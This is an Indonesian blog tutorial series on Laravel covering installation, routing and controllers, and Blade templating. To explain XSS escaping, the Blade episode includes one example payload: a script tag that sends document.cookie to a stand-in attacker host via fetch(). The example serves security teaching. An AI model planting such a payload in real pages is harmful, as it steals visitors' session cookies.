Belajar Laravel #3: Blade Dasar — Template Layout, Kondisi & Looping

Episode ketiga! Setelah di episode #2 kita sudah bisa membuat route dan controller pertama, sekarang waktunya belajar Blade — template engine bawaan Laravel yang bikin kita nggak perlu copy-paste HTML bolak-balik tiap buat halaman.

Jujur, pas pertama kali pakai Blade, saya agak bingung dengan syntax @-nya. Ternyata setelah beberapa jam utak-atik, Blade itu justru sangat ramah pemula. Intinya: tulis HTML biasa, tambahin sedikit directive @ untuk logika, dan biarkan Blade menggabungkannya.

Mengapa Pakai Template Engine?

Bayangkan punya 10 halaman dengan header & footer yang sama. Tanpa template engine, kita harus menulis ulang header & footer di setiap file PHP/HTML. Dengan Blade, kita pisahkan layout (yang diulang) dan konten (yang berbeda per halaman).

Tiga konsep utama Blade yang harus dipahami:

  • Layout inheritance@extends, @section, @yield
  • Conditional@if, @elseif, @else, @endif
  • Looping@foreach, @forelse, @endforeach

Layout dengan @extends, @section, @yield

Mari buat layout utama dulu. Di Laravel, file Blade disimpan di resources/views/. Buat file resources/views/layouts/app.blade.php:

<!DOCTYPE html>
<html lang="id">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>@yield('title', 'Judul Default')</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
</head>
<body>
    <nav class="navbar navbar-dark bg-primary px-3">
        <a class="navbar-brand" href="/">Catatan Rudy</a>
    </nav>

    <div class="container mt-4">
        @yield('content')
    </div>

    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>

Perhatikan @yield('content') — ini placeholder yang akan diisi oleh child view. Judulnya juga pakai @yield dengan default value.

Sekarang buat halaman home di resources/views/home.blade.php:

@extends('layouts.app')

@section('title', 'Beranda')

@section('content')
    <h1>Selamat Datang!</h1>
    <p>Ini halaman pertama saya belajar Laravel.</p>
@endsection

Cukup tiga langkah: @extends untuk menyatakan pakai layout mana, @section('title', ...) untuk judul (satu baris), dan @section('content') ... @endsection untuk isi kontennya. Blade akan menggabungkan semuanya saat render.

Jangan lupa, di route-nya kita return view: return view('home'); — Laravel otomatis cari file home.blade.php.

Kondisi @if / @elseif / @else

Sama seperti if di PHP, tapi syntax-nya lebih ringkas:

@extends('layouts.app')

@section('content')
    <h1>Dashboard</h1>

    @if(isset($user))
        <p>Halo, {{ $user['name'] }}!</p>
    @else
        <p>Halo, tamu! Silakan <a href="/login">login</a>.</p>
    @endif
@endsection

Ada juga @unless, kebalikan dari @if — berguna kalau logikanya negatif. Dan @isset($var) / @empty($var) sebagai shortcut untuk pengecekan yang sering dipakai.

Looping dengan @foreach

Seringkali data dari database berupa array/collection. Blade punya @foreach untuk mengulang data:

@extends('layouts.app')

@section('content')
    <h1>Daftar Artikel</h1>

    @if(count($articles) > 0)
        <ul class="list-group">
            @foreach($articles as $article)
                <li class="list-group-item">
                    <strong>{{ $article['title'] }}</strong>
                    <br>
                    <small>{{ $article['date'] }}</small>
                </li>
            @endforeach
        </ul>
    @else
        <p class="text-muted">Belum ada artikel.</p>
    @endif
@endsection

Di controller-nya, kita kirim data sebagai array:

<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;

class ArticleController extends Controller
{
    public function index()
    {
        $articles = [
            ['title' => 'Belajar Routing', 'date' => '2026-08-10'],
            ['title' => 'Belajar Blade', 'date' => '2026-08-12'],
        ];

        return view('articles.index', compact('articles'));
    }
}

Cara compact('articles') itu shortcut — secara otomatis jadi ['articles' => $articles]. Kalau suka eksplisit, boleh juga return view('articles.index', ['articles' => $articles]).

{{ }} vs {!! !!} — Output Aman vs Raw HTML

Ini bagian penting. Blade punya dua cara menampilkan variabel:

  • {{ $name }} — otomatis escaped (aman dari XSS). Jika $name = "<script>alert('hack')</script>", yang muncul teks biasa, bukan script jahat.
  • {!! $name !!} — output raw (tanpa escape). Hanya pakai kalau kamu pasti isinya aman, misalnya konten HTML dari editor tepercaya.

Aturan sederhana: selalu pakai {{ }} kecuali ada alasan kuat. Keamanan lebih penting dari kenyamanan.

Kesalahan Umum Pemula

  • Lupa @endsection — Blade akan error. Setiap @section harus ditutup.
  • @foreach tanpa @endforeach — sama, harus seimbang.
  • Nama view salah — kalau return view('home') tapi file-nya tidak ada di resources/views/home.blade.php, error View [home] not found.
  • Pakai {!! !!} sembarangan — bisa membuka celah XSS. Kalau ragu, pakai {{ }}.
  • Mixing PHP & Blade — bisa pakai @php ... @endphp, tapi sebisa mungkin pakai Blade directive. Lebih rapi, lebih mudah dibaca.

@forelse dan @empty: Looping yang Ramah Data Kosong

Hari ini saya kembali ke catatan looping lama untuk memperdalamnya. Sebelumnya saya memakai pola @if(count($articles) > 0) hanya demi menampilkan pesan ketika data kosong — dua blok untuk satu keperluan sederhana. Ternyata Blade punya directive yang dirancang persis untuk kasus ini: @forelse. Saya coba pada daftar produk:

@forelse($products as $product)
    <div class="card mb-2">
        <div class="card-body">
            <h5 class="card-title">{{ $product['name'] }}</h5>
            <p class="card-text">Rp {{ number_format($product['price'], 0, ',', '.') }}</p>
        </div>
    </div>
@empty
    <p class="text-muted">Belum ada produk yang tersedia saat ini.</p>
@endforelse

Cara bacanya lugas: kalau $products berisi data, bagian atas diulang untuk setiap item; kalau kosong, hanya blok @empty yang dirender. Satu directive menggantikan pasangan if–else versi count(), dan maksud kode langsung terbaca tanpa harus membaca kondisinya. Ini berarti bagi saya: template yang menangani data kosong dengan anggun sejak hari pertama, bukan tambal-sulam belakangan.

Escaping {{ }} vs Raw {!! !!}: Kenapa Ini Soal Keamanan

Di bagian awal catatan ini saya sudah menyinggung dua sintaks output Blade, tetapi baru hari ini sisi keamanannya benar-benar masuk akal — di sinilah istilah XSS (Cross-Site Scripting) berhenti menjadi jargon. Bayangkan sebuah kolom komentar; pengunjung iseng memasukkan ini:

$comment = "<script>fetch('https://contoh-serangan.test/?cookie=' + document.cookie)</script>";

Jika saya merendernya dengan {!! $comment !!}, browser memperlakukan isi itu sebagai HTML sungguhan dan script-nya dijalankan — cookie pengunjung lain bisa dikirim diam-diam ke server penyerang. Sebaliknya, {{ $comment }} mengubah karakter spesial menjadi entitas HTML sehingga yang tampil hanyalah teks biasa. Bedanya hanya sepasang kurung kurawal, dampaknya samasekali berbeda.

Lalu kapan {!! !!} boleh dipakai? Menurut pemahaman saya sekarang: hanya untuk HTML yang berasal dari sumber tepercaya dan telah melewati sanitasi — misalnya isi artikel yang ditulis lewat editor di panel admin sendiri:

<article class="post-body">
    {!! $article['body'] !!}
</article>

Aturan yang saya pegang setelah ini: {{ }} untuk segala sesuatu yang pernah disentuh pengguna; {!! !!} hanya untuk konten milik sendiri yang sudah bersih; dan kalau ragu, kembali ke {{ }}. Keamanan tidak boleh kalah cepat dari kenyamanan.

Directive Praktis Lainnya: @isset, @auth, @guest

Dua pasangan shortcut lain yang mulai sering saya pakai: @isset/@endisset untuk memeriksa apakah sebuah variabel terpasang dan tidak kosong, serta @auth/@guest untuk membedakan pengunjung yang sudah dan belum masuk. Contoh yang mudah terbayang adalah navbar:

<nav class="main-nav">
    @auth
        <a href="{{ url('/dashboard') }}">Dashboard</a>
        <form method="POST" action="{{ route('logout') }}">
            @csrf
            <button type="submit">Keluar</button>
        </form>
    @else
        <a href="{{ route('login') }}">Masuk</a>
        <a href="{{ route('register') }}">Daftar</a>
    @endauth
</nav>

@csrf muncul di dalam form keluar karena action-nya memakai method POST; Laravel menolak request POST tanpa token itu — catatan tentang CSRF saya simpan untuk episode tersendiri. Adapun @isset($keranjang) menggantikan if (isset($keranjang)) yang lebih panjang; kecil memang, tetapi membuat template tetap lapang dan konsisten dengan gaya Blade lainnya.

@yield dan @extends (Rekap) Plus @push/@stack untuk CSS/JS per Halaman

Pola inti layout yang dipakai sejak awal catatan ini dapat direkap dalam satu kalimat: layout mendefinisikan lubang dengan @yield('content'), lalu child view mengisi lubang itu lewat @extends dan @section. Hari ini saya menemukan pelengkap yang rapi: @push dan @stack. Persoalannya begini — hampir semua halaman memakai CSS dan JS yang sama dari layout, tetapi sesekali satu halaman saja butuh file tambahan, misalnya pustaka grafik. Menaruhnya di layout berarti seluruh halaman ikut memuatnya sia-sia. Solusinya, layout menyediakan tempat penampungan:

<head>
    <link rel="stylesheet" href="/css/app.css">
    @stack('styles')
</head>
<body>
    @yield('content')
    <script src="/js/app.js"></script>
    @stack('scripts')
</body>

Lalu di child view yang memang butuh pustaka grafik, saya dorong filenya ke stack tersebut:

@extends('layouts.app')

@section('content')
    <div id="grafik"></div>
@endsection

@push('styles')
    <link rel="stylesheet" href="/css/grafik.css">
@endpush

@push('scripts')
    <script src="/js/grafik.js"></script>
@endpush

Dengan susunan ini, hanya halaman yang memanggil @push yang memuat grafik.css dan grafik.js; halaman lain tetap ramping. Cara saya melihatnya sekarang: @yield untuk konten utama, @stack untuk aset tambahan per halaman — dua mekanisme serupa dengan tujuan yang berbeda, dan keduanya membuat layout tunggal cukup untuk seluruh situs latihan saya.

Kesimpulan

Blade itu sederhana tapi powerful. Dengan tiga konsep utama — layout inheritance, kondisi, dan looping — kita sudah bisa membuat halaman-halaman yang rapi tanpa duplikasi kode. Di episode berikutnya, kita akan refresh HTML & CSS supaya tampilan makin enak dilihat.

Sumber

Belajar Laravel #2: Routing & Controller Pertama — Dari URL ke View

Hari ini saya lanjut belajar Laravel ke episode kedua: routing dan controller pertama. Setelah minggu lalu berhasil membuat project dan menjalankan php artisan serve, sekarang saya penasaran — dari mana sebenarnya halaman awal itu muncul? Ternyata jawabannya ada di satu file kecil bernama routes/web.php. File inilah yang menjadi pintu masuk hampir semua request ke aplikasi web kita.

routes/web.php: pintu masuk aplikasi

Buka folder project lalu buka routes/web.php. Isinya singkat, hanya satu route default:

<?php

use Illuminate\Support\Facades\Route;

Route::get('/', function () {
    return view('welcome');
});

Bisa dibaca seperti ini: “kalau ada request GET ke alamat /, jalankan fungsi ini, lalu kembalikan view welcome“. Di sinilah saya sadar perbedaan mendasar Laravel dengan PHP biasa: alih-alih membuat file index.php per halaman, semua alamat dipetakan lewat satu file route. Ini disebut front controller — semua request masuk lewat public/index.php, lalu Laravel yang memutuskan ke mana request itu diteruskan berdasarkan route yang cocok.

Route closure vs controller

Di contoh di atas, logika ditulis langsung di dalam route sebagai closure (fungsi anonim). Untuk halaman sekecil welcome, cara ini cukup. Tapi kalau semua logika ditumpuk di routes/web.php, file itu cepat sekali jadi penuh sesak. Solusi Laravel: pindahkan logika ke controller.

Buat controller lewat Artisan:

php artisan make:controller HalamanController

Perintah itu membuat file app/Http/Controllers/HalamanController.php. Isinya kelas kosong. Lalu saya tambahkan method sendiri:

<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;

class HalamanController extends Controller
{
    public function index()
    {
        return view('welcome');
    }
}

Dan route-nya berubah menjadi:

Route::get('/', [HalamanController::class, 'index']);

Pola [NamaController::class, 'namaMethod'] adalah cara Laravel modern menunjuk controller di route. Hasilnya sama dengan versi closure, tapi logika sudah pindah ke tempat yang lebih rapi dan bisa diuji. Prinsipnya: route itu peta, controller itu pekerja.

View pertama

Method index() tadi mengembalikan view('welcome'). View adalah file template yang disimpan di resources/views dengan ekstensi .blade.php — jadi view('welcome') mencari resources/views/welcome.blade.php. Saya coba buat halaman sendiri, misalnya halaman tentang:

Route::get('/tentang', [HalamanController::class, 'tentang']);

Lalu di controller:

public function tentang()
{
    return view('tentang');
}

Dan buat file resources/views/tentang.blade.php berisi HTML sederhana. Setelah itu php artisan serve dan buka http://127.0.0.1:8000/tentang — halaman muncul. Kesannya ajaib padahal sederhana: route → controller → view. Tiga lapis yang akan terus kita pakai di semua episode berikutnya.

Kesalahan yang umum

  • Lupa menjalankan php artisan serve, lalu bingung kenapa halaman 404. Route tidak akan jalan tanpa server.
  • Nama view salah ketik: view('welcome') tapi file bernama welcome.blade.php — pastikan nama persis.
  • Menaruh route di bawah route lain yang polanya sama; di Laravel, route yang cocok pertama yang dipakai. Urutan route bisa penting.
  • Menulis logika bisnis menumpuk di route closure sampai file web.php ratusan baris — kebiasaan yang sebaiknya dihindari sejak awal dengan memakai controller.

Route Parameter: Menangkap Bagian Dinamis dari URL

Hari ini saya melanjutkan eksperimen dengan routing dan menemukan fitur yang langsung terasa penting: parameter route. Sering kali sebuah URL membutuhkan bagian dinamis, misalnya /mahasiswa/1, /mahasiswa/2, dan seterusnya untuk halaman detail. Tidak mungkin saya menulis satu route untuk setiap ID yang mungkin ada. Di Laravel, bagian dinamis itu cukup ditulis dengan kurung kurawal:

Route::get('/mahasiswa/{id}', function ($id) {
    return 'Menampilkan detail mahasiswa dengan ID: ' . $id;
});

Saat ada request ke /mahasiswa/7, Laravel menangkap potongan 7 dari URL lalu memasukkannya ke variabel $id di closure. Urutan parameternya mengikuti urutan segmen di URL, jadi kalau ada dua parameter seperti {tahun}/{bulan}, keduanya diterima sebagai dua argumen berurutan.

Parameter juga bisa dibuat opsional dengan tanda tanya, lengkap dengan nilai default:

Route::get('/sapa/{nama?}', function ($nama = 'Tamu') {
    return 'Halo, ' . $nama . '!';
});

Dengan {nama?}, URL /sapa tanpa segmen tambahan pun tetap valid dan menghasilkan “Halo, Tamu!”. Yang menarik bagi saya: satu definisi route kini melayani banyak variasi alamat sekaligus — halaman profil tanpa slug maupun dengan slug cukup ditangani satu baris.

Kebiasaan yang saya ambil dari sini: setiap kali tergoda menulis /mahasiswa/1, /mahasiswa/2, dan seterusnya secara manual, itu tanda URL-nya seharusnya punya parameter. Pola ini juga membuat tautan dari halaman daftar ke halaman detail menjadi alami, karena ID-nya tinggal dicetak di dalam loop di view.

Satu hal lagi yang membuat saya merasa lebih aman: constraint. Tanpa pengaman, /mahasiswa/abc tetap cocok dengan pola dan $id berisi teks “abc”. Laravel menyediakan cara ringkas untuk membatasinya:

Route::get('/mahasiswa/{id}', function ($id) {
    return 'Detail mahasiswa: ' . $id;
})->whereNumber('id');

whereNumber('id') memastikan parameter itu hanya boleh angka; permintaan /mahasiswa/abc langsung berakhir 404 tanpa perlu if manual di dalam closure. Ada juga whereAlpha() untuk huruf serta where('id', '[0-9]+') untuk pola kustom. Validasi dasar di level route — ini berarti bagi saya sebagai lapisan pertama sebelum logika controller.

Nama Route dan Redirect

Percobaan berikutnya: memberi nama pada route. Alih-alih menulis alamat secara harfiah di banyak tempat, saya menandai route dengan nama lalu memanggilnya lewat nama tersebut:

Route::get('/mahasiswa/{id}', function ($id) {
    return 'Detail mahasiswa: ' . $id;
})->name('mahasiswa.show');

Route::get('/contoh-lompat', function () {
    return redirect()->route('mahasiswa.show', ['id' => 7]);
});

redirect()->route('mahasiswa.show', ['id' => 7]) meminta Laravel mengarahkan pengunjung ke URL lengkap milik route bernama itu, lengkap dengan parameternya. Nama route juga berguna untuk membangun tautan di dalam view:

<a href="{{ route('mahasiswa.show', ['id' => $mhs['id']]) }}">
    Lihat detail {{ $mhs['nama'] }}
</a>

Manfaatnya baru terasa setelah beberapa hari: ketika saya mengubah alamat dari /mahasiswa/{id} menjadi /siswa/{id}, semua tautan dan redirect tetap berfungsi karena dibangun dari nama, bukan dari tulisan alamat yang tersebar di banyak file. Ini menyelamatkan saya dari pencarian-replace yang rawan ada yang terlewat.

Grup Route dan Prefix

Terakhir, soal kerapian. Semakin banyak route, file web.php mulai sulit dibaca. Laravel menyediakan grup untuk mengelompokkan route yang berbagi kesamaan — prefix URL, middleware, bahkan domain. Contoh nyata: semua halaman panel admin biasanya berawalan /admin dan wajib login:

Route::prefix('admin')->middleware('auth')->group(function () {
    Route::get('/dashboard', function () {
        return view('admin.dashboard');
    })->name('admin.dashboard');

    Route::get('/pengaturan', function () {
        return view('admin.pengaturan');
    })->name('admin.pengaturan');
});

Kedua route di atas menjadi /admin/dashboard dan /admin/pengaturan. Middleware auth berlaku untuk seluruh grup: siapa pun yang belum masuk otomatis dialihkan ke halaman login sebelum sempat menyentuh closure atau controller. Kalau suatu saat prefix berubah menjadi /panel, saya cukup mengedit satu baris, buka menyusuri setiap route.

Bagi saya, grup route ibarat daftar isi: sekali dibuka, struktur aplikasi terbaca dari pengelompokannya — mana area publik, mana area admin, mana API. Tiga hal yang saya pelajari hari ini (parameter, nama route, grup) semuanya masih bermain di file yang sama, routes/web.php, tetapi membuat file itu jauh lebih bermakna daripada sekadar daftar alamat.

Kesimpulan

Hari ini saya paham alur dasar aplikasi Laravel: request masuk ke routes/web.php, dicocokkan dengan pola URL, lalu diteruskan ke closure atau controller, dan akhirnya controller mengembalikan view Blade. Konsep ini kecil tapi fondasi — semua fitur berikutnya (form, database, login) menumpang di alur yang sama. Minggu depan saya lanjut ke Blade: layout, @extends, dan perulangan @foreach.

Sumber

Belajar Laravel #1: Persiapan & Instalasi — PHP, Composer, dan Project Pertama

Hari ini aku mulai seri baru di blog ini: Belajar Laravel. Rencananya 25 episode, dari nol sampai bisa membuat aplikasi web lengkap — sebuah Sistem Informasi sederhana dengan stack yang sengaja kubuat “bersahaja”: jQuery, Bootstrap, MySQL, dan Blade murni. Aku tidak memakai tool bantu populer yang bisa menyembunyikan cara kerja aslinya, karena tujuanku satu: paham benar bagaimana request masuk, bagaimana Blade merender HTML, dan bagaimana query sampai ke MySQL. Catatan ini kutulis sambil belajar, jadi kalau ada bagian yang terasa membingungkan — tenang, memang begitulah rasanya belajar.

Kenapa Laravel?

Sebelum ngoding, aku sempat bertanya: kenapa harus Laravel, bukan framework lain? Alasanku kurang lebih begini:

  • Paling populer di ekosistem PHP — banyak dipakai perusahaan, jadi banyak lowongan yang butuh skill ini.
  • Pola MVC — kode dipisah rapi: Controller untuk logika, Model untuk data, View untuk tampilan. Lama-lama ini terasa menyehatkan, apalagi kalau project mulai besar.
  • Dokumentasi dan komunitas besar — nyaris semua error yang kuhadapi sudah pernah dialami orang lain, dan jawabannya mudah ditemukan.
  • Artisan — command line tool bawaan yang mempercepat kerja rutin seperti membuat controller, migration, sampai menjalankan server.

Intinya: Laravel memberi struktur tanpa memaksa kita menulis semuanya dari nol, tapi tetap cukup “telanjang” untuk kita pelajari apa yang terjadi di balik layar.

Prasyarat: PHP & Composer

Laravel berjalan di atas PHP, jadi syarat pertama adalah PHP terpasang. Pastikan versi PHP-mu memenuhi syarat minimum yang tercantum di dokumentasi resmi Laravel — jangan asal pakai versi lawas, karena fitur framework terbaru biasanya butuh versi PHP tertentu. Cara mengeceknya:

php -v
composer --version

Composer adalah manajer dependensi untuk PHP — kurang lebih seperti npm di dunia JavaScript. Lewat Composer-lah Laravel diunduh dan semua paket bawaannya dikelola. Kalau perintah composer tidak dikenali, biasanya PATH-nya belum ditambahkan ke sistem; ini salah satu hambatan pertama yang umum terjadi di Windows.

Environment Lokal

Untuk belajar, kita cukup butuh lingkungan lokal yang berisi PHP, Composer, dan MySQL. Pilihannya tergantung sistem operasi:

  • WindowsXAMPP paling umum dipakai pemula karena satu paket: PHP, MySQL, dan Apache. Alternatif yang lebih ringan dan cepat: Laragon.
  • macOSLaravel Valet atau Laravel Herd; ringan, tanpa panel berat, cocok untuk development sehari-hari.
  • Linux — install PHP dan Composer langsung dari package manager.

Yang penting diingat: apapun pilihannya, kebutuhan intinya sama — PHP, Composer, dan MySQL. Jangan terjebak terlalu lama memilih-milih tool; pakai yang paling cepat jalan di mesinmu.

Membuat Project Laravel

Setelah PHP dan Composer siap, membuat project Laravel baru cuma satu perintah:

composer create-project laravel/laravel nama-project
cd nama-project

Catatan jujur: proses pertama kali bisa terasa lama karena Composer mengunduh ratusan paket. Layar terlihat “diam” lama — itu normal, bukan hang. Setelah selesai, struktur folder di dalam project kira-kira begini (versi singkat):

  • app/ — kode inti aplikasi: Models, Controllers di app/Http/Controllers.
  • routes/routes/web.php adalah “pintu masuk” semua request dari browser.
  • resources/views/ — file tampilan Blade (HTML).
  • database/migrations/ — skema tabel dalam bentuk kode.
  • public/ — satu-satunya folder yang “dilihat” web server; index.php ada di sini.
  • .env — konfigurasi (database, APP_KEY).

Menjalankan Server

Laravel punya server bawaan untuk development, dijalankan lewat Artisan:

php artisan serve

Setelah itu buka http://127.0.0.1:8000 — kalau muncul halaman selamat datang Laravel, berarti project-mu sudah hidup. Dua hal yang sering kuhadapi di tahap ini: pesan minta APP_KEY di .env (biasanya sudah ter-generate saat create-project; kalau belum, jalankan php artisan key:generate), dan port 8000 yang sudah dipakai aplikasi lain — ganti dengan php artisan serve --port=8080.

Kesalahan yang Umum

  • Versi PHP terlalu tua — cek php -v, lalu samakan dengan syarat minimum di dokumentasi resmi.
  • Composer tidak dikenali — PATH belum diatur; cari “add Composer to PATH” saat instalasi.
  • Ekstensi PHP kurang — misalnya mbstring atau openssl; aktifkan di php.ini atau panel XAMPP/Laragon.
  • Lupa perbedaan folder — aku sering bingung “file mana yang harus diutak-atik”. Di episode-episode awal, 90% waktu kita habis di routes/, app/Http/Controllers, dan resources/views.

Kesimpulan

Di episode ini kita sudah punya project Laravel yang berjalan di browser. Bagian yang paling membingungkan bagiku di awal ternyata bukan sintaks, tapi peta mental: “request masuk lewat mana, lalu ke mana?” Jawaban singkatnya: browser → routes/web.php → Controller → View. Di episode berikutnya kita akan membedah alur itu satu per satu: routing dan controller pertama.

Sumber